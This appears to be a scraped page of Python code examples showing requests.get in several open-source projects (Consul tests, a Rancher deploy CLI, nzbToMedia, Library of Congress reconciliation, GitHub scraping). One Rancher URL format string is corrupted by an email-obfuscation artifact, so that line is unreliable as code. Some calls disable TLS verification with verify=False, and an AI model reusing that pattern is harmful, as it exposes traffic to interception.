    tmpdir = py.path.local(tempfile.mkdtemp())
    tmpdir.join('config.json').write(json.dumps(config))
    tmpdir.chdir()

    (system, node, release, version, machine, processor) = platform.uname()
    if system == 'Darwin':
        postfix = 'osx'
    else:
        postfix = 'linux64'
    bin = os.path.join(os.path.dirname(__file__), 'consul.'+postfix)
    command = '{bin} agent -server -bootstrap' \
              ' -bind=127.0.0.1' \
              ' -config-dir=. -data-dir=./data'
    command = command.format(bin=bin).strip()
    command = shlex.split(command)

    p = subprocess.Popen(
        command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    # wait for consul instance to bootstrap
    base_uri = 'http://127.0.0.1:%s/v1/' % ports['http']

    while True:
        time.sleep(0.1)
        try:
            response = requests.get(base_uri + 'status/leader')
        except requests.ConnectionError:
            continue
        if response.text.strip() != '""':
            break

    requests.put(base_uri + 'agent/service/register', data='{"name": "foo"}')

    while True:
        response = requests.get(base_uri + 'health/service/foo')
        if response.text.strip() != '[]':
            break
        time.sleep(0.1)

    requests.get(base_uri + 'agent/service/deregister/foo')
    # phew
    time.sleep(2)
    return p, ports['http']

Example 8

Project: rancher-gitlab-deploy
Source File: cli.py
View license
@click.command()
@click.option('--rancher-url', envvar='RANCHER_URL', required=True,
              help='The URL for your Rancher server, eg: http://rancher:8000')
@click.option('--rancher-key', envvar='RANCHER_ACCESS_KEY', required=True,
              help="The environment or account API key")
@click.option('--rancher-secret', envvar='RANCHER_SECRET_KEY', required=True,
              help="The secret for the access API key")
@click.option('--environment', default=None,
              help="The name of the environment to add the host into " + \
                   "(only needed if you are using an account API key instead of an environment API key)")
@click.option('--stack', envvar='CI_PROJECT_NAMESPACE', default=None, required=True,
              help="The name of the stack in Rancher (defaults to the name of the group in GitLab)")
@click.option('--service', envvar='CI_PROJECT_NAME', default=None, required=True,
              help="The name of the service in Rancher to upgrade (defaults to the name of the service in GitLab)")
@click.option('--start-before-stopping/--no-start-before-stopping', default=True,
              help="Should Rancher start new containers before stopping the old ones?")
@click.option('--batch-size', default=1,
              help="Number of containers to upgrade at once")
@click.option('--batch-interval', default=2,
              help="Number of seconds to wait between upgrade batches")
@click.option('--upgrade-timeout', default=5*60,
              help="How long to wait, in seconds, for the upgrade to finish before exiting. To skip the wait, pass the --no-wait-for-upgrade-to-finish option.")
@click.option('--wait-for-upgrade-to-finish/--no-wait-for-upgrade-to-finish', default=True,
              help="Wait for Rancher to finish the upgrade before this tool exits")
@click.option('--new-image', default=None,
              help="If specified, replace the image (and :tag) with this one during the upgrade")
@click.option('--finish-upgrade/--no-finish-upgrade', default=True,
              help="Mark the upgrade as finished after it completes")
def main(rancher_url, rancher_key, rancher_secret, environment, stack, service, new_image, batch_size, batch_interval, start_before_stopping, upgrade_timeout, wait_for_upgrade_to_finish, finish_upgrade):
    """Performs an in service upgrade of the service specified on the command line"""
    # split url to protocol and host
    if "://" not in rancher_url:
        bail("The Rancher URL doesn't look right")

    proto, host = rancher_url.split("://")
    api = "%s://%s:%[email protected]%s/v1" % (proto, rancher_key, rancher_secret, host)

    # 1 -> Find the environment id in Rancher

    try:
        r = requests.get("%s/projects?limit=1000" % api)
        r.raise_for_status()
    except requests.exceptions.HTTPError:
        bail("Unable to connect to Rancher at %s - is the URL and API key right?" % host)
    else:
        environments = r.json()['data']

    if environment is None:
        environment_id = environments[0]['id']
        environment_name = environments[0]['name']
    else:
        for e in environments:
            if e['id'].lower() == environment.lower() or e['name'].lower() == environment.lower():
                environment_id = e['id']
                environment_name = e['name']

    if not environment_id:
        if environment:
            bail("The '%s' environment doesn't exist in Rancher, or your API credentials don't have access to it" % environment)
        else:
            bail("No environment in Rancher matches your request")

    # 2 -> Find the stack in the environment

    try:
        r = requests.get("%s/projects/%s/environments?limit=1000" % (
            api,
            environment_id
        ))
        r.raise_for_status()
    except requests.exceptions.HTTPError:
        bail("Unable to fetch a list of stacks in the environment '%s'" % environment_name)
    else:
        stacks = r.json()['data']

    for s in stacks:
        if s['name'].lower() == stack.lower():
            stack = s
            break
    else:
        bail("Unable to find a stack called '%s'. Does it exist in the '%s' environment?" % environment_name)

    # 3 -> Find the service in the stack

    try:
        r = requests.get("%s/projects/%s/environments/%s/services?limit=1000" % (
            api,
            environment_id,
            stack['id']
        ))
        r.raise_for_status()
    except requests.exceptions.HTTPError:
        bail("Unable to fetch a list of services in the stack. Does your API key have the right permissions?")
    else:
        services = r.json()['data']

    for s in services:
        if s['name'].lower() == service.lower():
            service = s
            break
    else:
        bail("Unable to find a service called '%s', does it exist in Rancher?" % service)

    # 4 -> Is the service elligible for upgrade?

    if service['state'] == 'upgraded':
        warn("The current service state is 'upgraded', marking the previous upgrade as finished before starting a new upgrade...")

        try:
            r = requests.post("%s/projects/%s/services/%s/?action=finishupgrade" % (
                api, environment_id, service['id']
            ))
            r.raise_for_status()
        except requests.exceptions.HTTPError:
            bail("Unable to finish the previous upgrade in Rancher")

        attempts = 0
        while service['state'] != "active":
            sleep(2)
            attempts += 2
            if attempts > upgrade_timeout:
                bail("A timeout occured while waiting for Rancher to finish the previous upgrade")
            try:
                r = requests.get("%s/projects/%s/services/%s" % (
                    api, environment_id, service['id']
                ))
                r.raise_for_status()
            except requests.exceptions.HTTPError:
                bail("Unable to request the service status from the Rancher API")
            else:
                service = r.json()

    if service['state'] != 'active':
        bail("Unable to start upgrade: current service state '%s', but it needs to be 'active'" % service['state'])

    msg("Upgrading %s/%s in environment %s..." % (stack['name'], service['name'], environment_name))

    upgrade = {'inServiceStrategy': {
        'batchSize': batch_size,
        'intervalMillis': batch_interval * 1000, # rancher expects miliseconds
        'startFirst': start_before_stopping,
        'launchConfig': {},
        'secondaryLaunchConfigs': []
    }}
    # copy over the existing config
    upgrade['inServiceStrategy']['launchConfig'] = service['launchConfig']

    if new_image:
        # place new image into config
        upgrade['inServiceStrategy']['launchConfig']['imageUuid'] = 'docker:%s' % new_image

    # 5 -> Start the upgrade

    try:
        r = requests.post("%s/projects/%s/services/%s/?action=upgrade" % (
            api, environment_id, service['id']
        ), json=upgrade)
        r.raise_for_status()
    except requests.exceptions.HTTPError:
        bail("Unable to request an upgrade on Rancher")

    # 6 -> Wait for the upgrade to finish

    if not wait_for_upgrade_to_finish:
        msg("Upgrade started")
    else:
        msg("Upgrade started, waiting for upgrade to complete...")
        attempts = 0
        while service['state'] != "upgraded":
            sleep(2)
            attempts += 2
            if attempts > upgrade_timeout:
                bail("A timeout occured while waiting for Rancher to complete the upgrade")
            try:
                r = requests.get("%s/projects/%s/services/%s" % (
                    api, environment_id, service['id']
                ))
                r.raise_for_status()
            except requests.exceptions.HTTPError:
                bail("Unable to fetch the service status from the Rancher API")
            else:
                service = r.json()

        if not finish_upgrade:
            msg("Service upgraded")
            sys.exit(0)
        else:
            msg("Finishing upgrade...")
            try:
                r = requests.post("%s/projects/%s/services/%s/?action=finishupgrade" % (
                    api, environment_id, service['id']
                ))
                r.raise_for_status()
            except requests.exceptions.HTTPError:
                bail("Unable to finish the upgrade in Rancher")

            attempts = 0
            while service['state'] != "active":
                sleep(2)
                attempts += 2
                if attempts > upgrade_timeout:
                    bail("A timeout occured while waiting for Rancher to finish the previous upgrade")
                try:
                    r = requests.get("%s/projects/%s/services/%s" % (
                        api, environment_id, service['id']
                    ))
                    r.raise_for_status()
                except requests.exceptions.HTTPError:
                    bail("Unable to request the service status from the Rancher API")
                else:
                    service = r.json()

            msg("Upgrade finished")

    sys.exit(0)

Example 9

Project: osf.io
Source File: test_caching.py
View license
    @unittest.skipIf(not django_settings.ENABLE_VARNISH, 'Varnish is disabled')
    def test_compare_python_responses_to_varnish_responses(self):
        querystrings = dict(
            nodes=[
                'comments',
                'children',
                'files',
                'registrations',
                'contributors',
                'node_links',
                'root',
            ],
            users=[
                'nodes',
            ],
            registrations=[
                'comments',
                'children',
                'files',
                'registrations',
                'contributors',
                'node_links',
                'root',
                'registrations',
                'registered_by',
                'registered_from',
            ]
        )

        querystring_suffix = 'page[size]=10&format=jsonapi&sort=_id'

        data_dict = dict(nodes=dict(),
                         users=dict(),
                         comments=dict(),
                         registrations=dict(), )

        python_data = copy.deepcopy(data_dict)
        python_authed_data = copy.deepcopy(data_dict)
        varnish_data = copy.deepcopy(data_dict)
        varnish_authed_data = copy.deepcopy(data_dict)

        for key, embed_values in querystrings.items():
            embed_values.sort()
            original_embed_values = embed_values
            while len(embed_values) > 0:
                generated_qs = '&embed='.join(embed_values)
                python_url = '{}{}/?embed={}&{}&esi=false'.format(
                    self.local_python_base_url, key, generated_qs,
                    querystring_suffix)
                varnish_url = '{}{}/?embed={}&{}&esi=true'.format(
                    self.local_varnish_base_url, key, generated_qs,
                    querystring_suffix)
                python_resp = requests.get(python_url, timeout=120)
                python_authed_resp = requests.get(python_url,
                                                  auth=self.authorization,
                                                  timeout=120)

                varnish_resp = requests.get(varnish_url, timeout=120)
                varnish_authed_resp = requests.get(varnish_url,
                                                   auth=self.authorization,
                                                   timeout=120)

                python_data[key]['_'.join(
                    embed_values)] = python_resp.json()
                self.validate_keys(python_resp.json(),
                                   original_embed_values)

                python_authed_data[key]['_'.join(
                    embed_values)] = python_authed_resp.json()
                self.validate_keys(python_authed_resp.json(),
                                   original_embed_values)

                varnish_data[key]['_'.join(
                    embed_values)] = varnish_resp.json()
                self.validate_keys(varnish_resp.json(),
                                   original_embed_values)

                varnish_authed_data[key]['_'.join(
                    embed_values)] = varnish_authed_resp.json()
                self.validate_keys(varnish_authed_resp.json(),
                                   original_embed_values)

                # varnish_json = json.loads(varnish_resp.text.replace('localhost:8193', 'localhost:8000'))
                # varnish_authed_json = json.loads(varnish_authed_resp.text.replace('localhost:8193', 'localhost:8000'))
                #
                # tools.assert_equal(varnish_json, python_resp.json())
                # tools.assert_equal(varnish_authed_json, python_authed_resp.json())

                embed_values.pop()

Example 10

Project: tile-generator
Source File: util.py
View license
def download(url, filename, cache=None):
	if cache is not None:
		basename = os.path.basename(filename)
		cachename = os.path.join(cache, basename)
	 	if os.path.isfile(cachename):
			print('- using cached version of', basename)
			shutil.copy(cachename, filename)
			return
	# Special url to find a file associated with a github release.
	# github://cf-platform-eng/meta-buildpack/meta-buildpack.tgz
	# will find the file named meta-buildpack-0.0.3.tgz in the latest
	# release for https://github.com/cf-platform-eng/meta-buildpack
	if url.startswith("github:"):
		repo_name = url.lstrip("github:").lstrip("/").lstrip("/")
		file_name = os.path.basename(repo_name)
		repo_name = os.path.dirname(repo_name)
		url = "https://api.github.com/repos/" + repo_name + "/releases/latest"
		response = requests.get(url, stream=True)
		response.raise_for_status()
		release = response.json()
		assets = release.get('assets', [])
		url = None
		pattern = re.compile('.*\\.'.join(file_name.rsplit('.', 1))+'\\Z')
		for asset in assets:
			if pattern.match(asset['name']) is not None:
				url = asset['browser_download_url']
				break
		if url is None:
			print('no matching asset found for repo', repo_name, 'file', file_name, file=sys.stderr)
			sys.exit(1)
		# Fallthrough intentional, we now proceed to download the URL we found
	if url.startswith("http:") or url.startswith("https"):
		# [mboldt:20160908] Using urllib.urlretrieve gave an "Access
		# Denied" page when trying to download docker boshrelease.
		# I don't know why. requests.get works. Do what works.
		response = requests.get(url, stream=True)
		response.raise_for_status()
		with open(filename, 'wb') as file:
			for chunk in response.iter_content(chunk_size=1024):
				if chunk:
					file.write(chunk)
	elif url.startswith("docker:"):
		docker_image = url.lstrip("docker:").lstrip("/").lstrip("/")
		try:
			from docker.client import Client
			from docker.utils import kwargs_from_env
			kwargs = kwargs_from_env()
			kwargs['tls'] = False
			docker_cli = Client(**kwargs)
			image = docker_cli.get_image(docker_image)
			image_tar = open(filename,'w')
			image_tar.write(image.data)
			image_tar.close()
		except KeyError as e:
			print('docker not configured on this machine (or environment variables are not properly set)', file=sys.stderr)
			sys.exit(1)
		except:
			print(docker_image, 'not found on local machine', file=sys.stderr)
			print('you must either pull the image, or download it and use the --cache option', file=sys.stderr)
			sys.exit(1)
	elif os.path.isdir(url):
		shutil.copytree(url, filename)
	else:
		shutil.copy(url, filename)

Example 11

Project: civic-json-worker
Source File: tasks.py
View license
def update_project(project_url):
    full_name = '/'.join(urlparse(project_url).path.split('/')[1:3])
    url = '%s/repos/%s' % (GITHUB, full_name)
    headers = {'Authorization': 'token %s' % GITHUB_TOKEN}
    r = requests.get(url, headers=headers)
    if r.status_code == 200:
        
        with open('{}/projects.json'.format(DATA_PATH), 'r') as f:
            inp_list = list(set(json.loads(f.read())))
        
        inp = [l.rstrip('/') for l in inp_list]
        
        if not project_url in inp:
            inp.append(project_url)
            
            with open('{}/projects.json'.format(DATA_PATH), 'w') as f:
                f.write(json.dumps(inp, indent=4))

        repo = r.json()
        owner = repo.get('owner')
        detail = {
            'id': repo.get('id'),
            'name': repo.get('name'),
            'description': repo.get('description'),
            'homepage': repo.get('homepage'),
            'html_url': repo.get('html_url'),
            'language': repo.get('language'),
            'watchers_count': repo.get('watchers_count'),
            'contributors_url': repo.get('contributors_url'),
            'forks_count': repo.get('forks_count'),
            'open_issues': repo.get('open_issues'),
            'created_at': repo.get('created_at'),
            'updated_at': repo.get('updated_at'),
            'pushed_at': repo.get('pushed_at'),
        }
        detail['owner'] = {
            'login': owner.get('login'),
            'html_url': owner.get('html_url'),
            'avatar_url': owner.get('avatar_url'),
            'type': owner.get('type'),
        }
        detail['project_needs'] = update_issues(project_url)
        detail['contributors'] = []
        if detail.get('contributors_url'):
            r = requests.get(detail.get('contributors_url'), headers=headers)
            if r.status_code == 200:
                for contributor in r.json():
                    cont = {}
                    login = contributor.get('login')
                    if login == 'invalid-email-address':
                        continue
                    cont['owner'] = False
                    if login == owner.get('login'):
                        cont['owner'] = True
                    cont['login'] = login
                    cont['avatar_url'] = contributor.get('avatar_url')
                    cont['html_url'] = contributor.get('html_url')
                    cont['contributions'] = contributor.get('contributions')
                    detail['contributors'].append(cont)
        part = requests.get('%s/stats/participation' % url, headers=headers)
        if part.status_code == 200:
            detail['participation'] = part.json()['all']
        return detail
    elif r.status_code == 404:
        # Can't find the project on gitub so scrub it from the list
        with open('{}/projects.json'.format(DATA_PATH), 'r') as f:
            projects = json.loads(f.read())

        projects.remove(project_url)
        
        with open('{}/projects.json'.format(DATA_PATH), 'w') as f:
            f.write(json.dumps(projects, indent=4))

        return None
    elif r.status_code == 403: 
        raise IOError('Over rate limit')

Example 12

Project: nzbToMedia
Source File: autoProcessMovie.py
View license
    def process(self, section, dirName, inputName=None, status=0, clientAgent="manual", download_id="", inputCategory=None, failureLink=None):

        cfg = dict(core.CFG[section][inputCategory])

        host = cfg["host"]
        port = cfg["port"]
        apikey = cfg["apikey"]
        method = cfg["method"]
        delete_failed = int(cfg["delete_failed"])
        wait_for = int(cfg["wait_for"])
        ssl = int(cfg.get("ssl", 0))
        web_root = cfg.get("web_root", "")
        remote_path = int(cfg.get("remote_path", 0))
        extract = int(cfg.get("extract", 0))
        protocol = "https://" if ssl else "http://"

        baseURL = "{0}{1}:{2}{3}/api/{4}".format(protocol, host, port, web_root, apikey)
        if not server_responding(baseURL):
            logger.error("Server did not respond. Exiting", section)
            return [1, "{0}: Failed to post-process - {1} did not respond.".format(section, section)]

        imdbid = find_imdbid(dirName, inputName)
        release = self.get_release(baseURL, imdbid, download_id)

        # pull info from release found if available
        release_id = None
        media_id = None
        downloader = None
        release_status_old = None
        if release and imdbid:
            try:
                release_id = release.keys()[0]
                media_id = release[release_id]['media_id']
                download_id = release[release_id]['download_info']['id']
                downloader = release[release_id]['download_info']['downloader']
                release_status_old = release[release_id]['status']
            except:
                pass

        if not os.path.isdir(dirName) and os.path.isfile(dirName):  # If the input directory is a file, assume single file download and split dir/name.
            dirName = os.path.split(os.path.normpath(dirName))[0]

        SpecificPath = os.path.join(dirName, str(inputName))
        cleanName = os.path.splitext(SpecificPath)
        if cleanName[1] == ".nzb":
            SpecificPath = cleanName[0]
        if os.path.isdir(SpecificPath):
            dirName = SpecificPath

        process_all_exceptions(inputName, dirName)
        inputName, dirName = convert_to_ascii(inputName, dirName)

        if not listMediaFiles(dirName, media=True, audio=False, meta=False, archives=False) and listMediaFiles(dirName, media=False, audio=False, meta=False, archives=True) and extract:
            logger.debug('Checking for archives to extract in directory: {0}'.format(dirName))
            core.extractFiles(dirName)
            inputName, dirName = convert_to_ascii(inputName, dirName)

        good_files = 0
        num_files = 0
        # Check video files for corruption
        status = int(status)
        for video in listMediaFiles(dirName, media=True, audio=False, meta=False, archives=False):
            num_files += 1
            if transcoder.isVideoGood(video, status):
                import_subs(video)
                good_files += 1
        if num_files and good_files == num_files:
            if status:
                logger.info("Status shown as failed from Downloader, but {0} valid video files found. Setting as success.".format(good_files), section)
                status = 0
        elif num_files and good_files < num_files:
            logger.info("Status shown as success from Downloader, but corrupt video files found. Setting as failed.", section)
            if 'NZBOP_VERSION' in os.environ and os.environ['NZBOP_VERSION'][0:5] >= '14.0':
                print('[NZB] MARK=BAD')
            if failureLink:
                failureLink += '&corrupt=true'
            status = 1
        elif clientAgent == "manual":
            logger.warning("No media files found in directory {0} to manually process.".format(dirName), section)
            return [0, ""]  # Success (as far as this script is concerned)
        else:
            logger.warning("No media files found in directory {0}. Processing this as a failed download".format(dirName), section)
            status = 1
            if 'NZBOP_VERSION' in os.environ and os.environ['NZBOP_VERSION'][0:5] >= '14.0':
                print('[NZB] MARK=BAD')

        if status == 0:
            if core.TRANSCODE == 1:
                result, newDirName = transcoder.Transcode_directory(dirName)
                if result == 0:
                    logger.debug("Transcoding succeeded for files in {0}".format(dirName), section)
                    dirName = newDirName

                    chmod_directory = int(str(cfg.get("chmodDirectory", "0")), 8)
                    logger.debug("Config setting 'chmodDirectory' currently set to {0}".format(oct(chmod_directory)), section)
                    if chmod_directory:
                        logger.info("Attempting to set the octal permission of '{0}' on directory '{1}'".format(oct(chmod_directory), dirName), section)
                        core.rchmod(dirName, chmod_directory)
                else:
                    logger.error("Transcoding failed for files in {0}".format(dirName), section)
                    return [1, "{0}: Failed to post-process - Transcoding failed".format(section)]
            for video in listMediaFiles(dirName, media=True, audio=False, meta=False, archives=False):
                if not release and ".cp(tt" not in video and imdbid:
                    videoName, videoExt = os.path.splitext(video)
                    video2 = "{0}.cp({1}){2}".format(videoName, imdbid, videoExt)
                    if not (clientAgent in [core.TORRENT_CLIENTAGENT, 'manual'] and core.USELINK == 'move-sym'):
                        logger.debug('Renaming: {0} to: {1}'.format(video, video2))
                        os.rename(video, video2)

            params = {}
            if download_id:
                params['downloader'] = downloader or clientAgent
                params['download_id'] = download_id

            params['media_folder'] = remoteDir(dirName) if remote_path else dirName

            if method == "manage":
                command = "/manage.update"
                params = {}
            else:
                command = "/renamer.scan"

            url = "{0}{1}".format(baseURL, command)

            logger.debug("Opening URL: {0} with PARAMS: {1}".format(url, params), section)

            logger.postprocess("Starting {0} scan for {1}".format(method, inputName), section)

            try:
                r = requests.get(url, params=params, verify=False, timeout=(30, 1800))
            except requests.ConnectionError:
                logger.error("Unable to open URL", section)
                return [1, "{0}: Failed to post-process - Unable to connect to {1}".format(section, section)]

            result = r.json()
            if r.status_code not in [requests.codes.ok, requests.codes.created, requests.codes.accepted]:
                logger.error("Server returned status {0}".format(r.status_code), section)
                return [1, "{0}: Failed to post-process - Server returned status {1}".format(section, r.status_code)]
            elif result['success']:
                logger.postprocess("SUCCESS: Finished {0} scan for folder {1}".format(method, dirName), section)
                if method == "manage":
                    return [0, "{0}: Successfully post-processed {1}".format(section, inputName)]
            else:
                logger.error("FAILED: {0} scan was unable to finish for folder {1}. exiting!".format(method, dirName),
                             section)
                return [1, "{0}: Failed to post-process - Server did not return success".format(section)]

        else:
            core.FAILED = True
            logger.postprocess("FAILED DOWNLOAD DETECTED FOR {0}".format(inputName), section)
            if failureLink:
                reportNzb(failureLink, clientAgent)

            if delete_failed and os.path.isdir(dirName) and not os.path.dirname(dirName) == dirName:
                logger.postprocess("Deleting failed files and folder {0}".format(dirName), section)
                rmDir(dirName)

            if not release_id and not media_id:
                logger.error("Could not find a downloaded movie in the database matching {0}, exiting!".format(inputName),
                             section)
                return [1, "{0}: Failed to post-process - Failed download not found in {1}".format(section, section)]

            if release_id:
                logger.postprocess("Setting failed release {0} to ignored ...".format(inputName), section)

                url = "{url}/release.ignore".format(url=baseURL)
                params = {'id': release_id}

                logger.debug("Opening URL: {0} with PARAMS: {1}".format(url, params), section)

                try:
                    r = requests.get(url, params=params, verify=False, timeout=(30, 120))
                except requests.ConnectionError:
                    logger.error("Unable to open URL {0}".format(url), section)
                    return [1, "{0}: Failed to post-process - Unable to connect to {1}".format(section, section)]

                result = r.json()
                if r.status_code not in [requests.codes.ok, requests.codes.created, requests.codes.accepted]:
                    logger.error("Server returned status {0}".format(r.status_code), section)
                    return [1, "{0}: Failed to post-process - Server returned status {1}".format(section, r.status_code)]
                elif result['success']:
                    logger.postprocess("SUCCESS: {0} has been set to ignored ...".format(inputName), section)
                else:
                    logger.warning("FAILED: Unable to set {0} to ignored!".format(inputName), section)
                    return [1, "{0}: Failed to post-process - Unable to set {1} to ignored".format(section, inputName)]

            logger.postprocess("Trying to snatch the next highest ranked release.", section)

            url = "{0}/movie.searcher.try_next".format(baseURL)
            logger.debug("Opening URL: {0}".format(url), section)

            try:
                r = requests.get(url, params={'media_id': media_id}, verify=False, timeout=(30, 600))
            except requests.ConnectionError:
                logger.error("Unable to open URL {0}".format(url), section)
                return [1, "{0}: Failed to post-process - Unable to connect to {1}".format(section, section)]

            result = r.json()
            if r.status_code not in [requests.codes.ok, requests.codes.created, requests.codes.accepted]:
                logger.error("Server returned status {0}".format(r.status_code), section)
                return [1, "{0}: Failed to post-process - Server returned status {1}".format(section, r.status_code)]
            elif result['success']:
                logger.postprocess("SUCCESS: Snatched the next highest release ...", section)
                return [0, "{0}: Successfully snatched next highest release".format(section)]
            else:
                logger.postprocess("SUCCESS: Unable to find a new release to snatch now. CP will keep searching!", section)
                return [0, "{0}: No new release found now. {1} will keep searching".format(section, section)]

        # Added a release that was not in the wanted list so confirm rename successful by finding this movie media.list.
        if not release:
            download_id = None  # we don't want to filter new releases based on this.

        # we will now check to see if CPS has finished renaming before returning to TorrentToMedia and unpausing.
        timeout = time.time() + 60 * wait_for
        while time.time() < timeout:  # only wait 2 (default) minutes, then return.
            logger.postprocess("Checking for status change, please stand by ...", section)
            release = self.get_release(baseURL, imdbid, download_id, release_id)
            if release:
                try:
                    if release_id is None and release_status_old is None:  # we didn't have a release before, but now we do.
                        logger.postprocess("SUCCESS: Movie {0} has now been added to CouchPotato".format(imdbid), section)
                        return [0, "{0}: Successfully post-processed {1}".format(section, inputName)]

                    release_status_new = release[release_id]['status']
                    if release_status_new != release_status_old:
                        logger.postprocess("SUCCESS: Release {0} has now been marked with a status of [{1}]".format(
                            inputName, str(release_status_new).upper()), section)
                        return [0, "{0}: Successfully post-processed {1}".format(section, inputName)]
                except:
                    pass
            if not os.path.isdir(dirName):
                logger.postprocess("SUCCESS: Input Directory [{0}] has been processed and removed".format(
                    dirName), section)
                return [0, "{0}: Successfully post-processed {1}".format(section, inputName)]

            elif not listMediaFiles(dirName, media=True, audio=False, meta=False, archives=True):
                logger.postprocess("SUCCESS: Input Directory [{0}] has no remaining media files. This has been fully processed.".format(
                    dirName), section)
                return [0, "{0}: Successfully post-processed {1}".format(section, inputName)]

            # pause and let CouchPotatoServer catch its breath
            time.sleep(10 * wait_for)

        # The status hasn't changed. we have waited 2 minutes which is more than enough. uTorrent can resume seeding now.
        logger.warning(
            "{0} does not appear to have changed status after {1} minutes, Please check your logs.".format(inputName, wait_for),
            section)
        return [1, "{0}: Failed to post-process - No change in status".format(section)]

Example 13

Project: lc-reconcile
Source File: reconcile.py
View license
def search(raw_query, query_type='/lc'):
    out = []
    query = text.normalize(raw_query, PY3).strip()
    query_type_meta = [i for i in refine_to_lc if i['id'] == query_type]
    if query_type_meta == []:
        query_type_meta = default_query
    query_index = query_type_meta[0]['index']
    # Get the results for the primary suggest API (primary headings, no cross-refs)
    try:
        if PY3:
            url = "http://id.loc.gov" + query_index + '/suggest/?q=' + urllib.parse.quote(query.encode('utf8'))
        else:
            url = "http://id.loc.gov" + query_index + '/suggest/?q=' + urllib.quote(query.encode('utf8'))
        app.logger.debug("LC Authorities API url is " + url)
        resp = requests.get(url)
        results = resp.json()
    except getopt.GetoptError as e:
        app.logger.warning(e)
        return out
    for n in range(0, len(results[1])):
        match = False
        name = results[1][n]
        uri = results[3][n]
        score = fuzz.token_sort_ratio(query, name)
        if score > 95:
            match = True
        app.logger.debug("Label is " + name + " Score is " + str(score) + " URI is " + uri)
        resource = {
            "id": uri,
            "name": name,
            "score": score,
            "match": match,
            "type": query_type_meta
        }
        out.append(resource)
    # Get the results for the didyoumean API (cross-refs, no primary headings)
    try:
        if query_index != '/authorities':
            if PY3:
                url = "http://id.loc.gov" + query_index + '/didyoumean/?label=' + urllib.parse.quote(query.encode('utf8'))
            else:
                url = "http://id.loc.gov" + query_index + '/didyoumean/?label=' + urllib.quote(query.encode('utf8'))
            app.logger.debug("LC Authorities API url is " + url)
            altresp = requests.get(url)
            altresults = ET.fromstring(altresp.content)
            altresults2 = None
        else:
            if PY3:
                url = 'http://id.loc.gov/authorities/names/didyoumean/?label=' + urllib.parse.quote(query.encode('utf8'))
                url2 = 'http://id.loc.gov/authorities/subjects/didyoumean/?label=' + urllib.parse.quote(query.encode('utf8'))
            else:
                url = 'http://id.loc.gov/authorities/names/didyoumean/?label=' + urllib.quote(query.encode('utf8'))
                url2 = 'http://id.loc.gov/authorities/subjects/didyoumean/?label=' + urllib.quote(query.encode('utf8'))
            app.logger.debug("LC Authorities API url is " + url)
            app.logger.debug("LC Authorities API url is " + url2)
            altresp = requests.get(url)
            altresp2 = requests.get(url2)
            altresults = ET.fromstring(altresp.content)
            altresults2 = ET.fromstring(altresp2.content)
    except getopt.GetoptError as e:
        app.logger.warning(e)
        return out
    for child in altresults.iter('{http://id.loc.gov/ns/id_service#}term'):
        match = False
        name = child.text
        uri = child.get('uri')
        score = fuzz.token_sort_ratio(query, name)
        if score > 95:
            match = True
        app.logger.debug("Label is " + name + " Score is " + str(score) + " URI is " + uri)
        resource = {
            "id": uri,
            "name": name,
            "score": score,
            "match": match,
            "type": query_type_meta
        }
        out.append(resource)
    if altresults2 is not None:
        for child in altresults2.iter('{http://id.loc.gov/ns/id_service#}term'):
            match = False
            name = child.text
            uri = child.get('uri')
            score = fuzz.token_sort_ratio(query, name)
            if score > 95:
                match = True
            app.logger.debug("Label is " + name + " Score is " + str(score) + " URI is " + uri)
            resource = {
                "id": uri,
                "name": name,
                "score": score,
                "match": match,
                "type": query_type_meta
            }
            out.append(resource)
    # Sort this list containing preflabels and crossrefs by score
    sorted_out = sorted(out, key=itemgetter('score'), reverse=True)
    # Refine only will handle top three matches.
    return sorted_out[:3]

Example 14

Project: github-africa
Source File: step3_extend_users.py
View license
def extend_user(user):

    print(user.get('username'))

    def get_activity_from_html(username):
        r = requests.get('https://github.com/%s' % username,
                         headers=headers, auth=TOKEN_AUTH)

        if r.status_code == 404:
            return None

        parser = html5lib.HTMLParser(tree=treebuilders.getTreeBuilder("dom"))
        dom = parser.parse(StringIO.StringIO(r.content))
        divs = dom.getElementsByTagName('div')

        contrib_columns = [d for d in divs
                           if 'contrib-column' in
                           d.getAttribute('class')]

        if not len(contrib_columns):
            return {'contrib_total_num': 0,
                    'contrib_total_start': None,
                    'contrib_total_end': None,
                    'contrib_long_num': 0,
                    'contrib_long_start': None,
                    'contrib_long_end': None}

        total_str = getElementsByClassName(
            contrib_columns[0], "span",
            "contrib-number")[0].firstChild.nodeValue
        # logger.debug("total_str: {}".format(total_str))
        total_dates_dom = getElementsByClassName(
            contrib_columns[0], "span", "text-muted")[1]
        total_dates = "".join([n.nodeValue
                               for n in total_dates_dom.childNodes])
        # logger.debug("total_dates: {}".format(total_dates))

        total_start = du_parser.parse(total_dates.split(u'–')[0])
        total_end = du_parser.parse(total_dates.split(u'–')[1])
        # logger.debug("total_start: {}".format(total_start))
        # logger.debug("total_end: {}".format(total_end))

        long_str = getElementsByClassName(
            contrib_columns[1], "span",
            "contrib-number")[0].firstChild.nodeValue
        # logger.debug("long_str: {}".format(long_str))
        long_dates_dom = getElementsByClassName(
            contrib_columns[1], "span", "text-muted")[1]
        long_dates = "".join([n.nodeValue
                              for n in long_dates_dom.childNodes])
        # logger.debug("total_dates: {}".format(total_dates))
        # logger.debug("long_dates: {}".format(long_dates))

        if long_dates == "No recent contributions":
            long_start = None
            long_end = None
        else:
            long_start = du_parser.parse(long_dates.split(u'–')[0].strip())
            if long_start.year > total_end.year:
                long_start = datetime(long_start.year - 1,
                                      long_start.month, long_start.year.day)
            long_end = du_parser.parse(long_dates.split(u'–')[1].strip())
            if long_end.year > total_end.year:
                long_end = datetime(long_end.year - 1, long_end.month,
                                    long_end.year.day)

        return {
            'contrib_total_num': int(total_str.split()[0].replace(',', '')),
            'contrib_total_start': total_start.isoformat(),
            'contrib_total_end': total_end.isoformat(),
            'contrib_long_num': int(long_str.split()[0].replace(',', '')),
            'contrib_long_start':
                long_start.isoformat() if long_start is not None else None,
            'contrib_long_end':
                long_end.isoformat() if long_end is not None else None}

    def get_profile(user):
        r = requests.get(
            'https://api.github.com/users/%s' % user.get('username'),
            headers=headers, auth=TOKEN_AUTH)

        check_limits(r.headers)

        nd = {}
        data = json.loads(r.content)
        for col in data.keys():
            if 'url' in col and not col == 'avatar_url':
                continue
            if col in user.keys():
                continue
            nd.update({col: data[col]})
        return nd

    def get_orgs(username):
        orgs = {}
        r = requests.get('https://api.github.com/users/%s/orgs' % username,
                         headers=headers, auth=TOKEN_AUTH)

        check_limits(r.headers)

        data = json.loads(r.content)

        orgs.update({'orgs_num': len(data)})
        for i, org in enumerate(data):
            org_name = org.get('login')
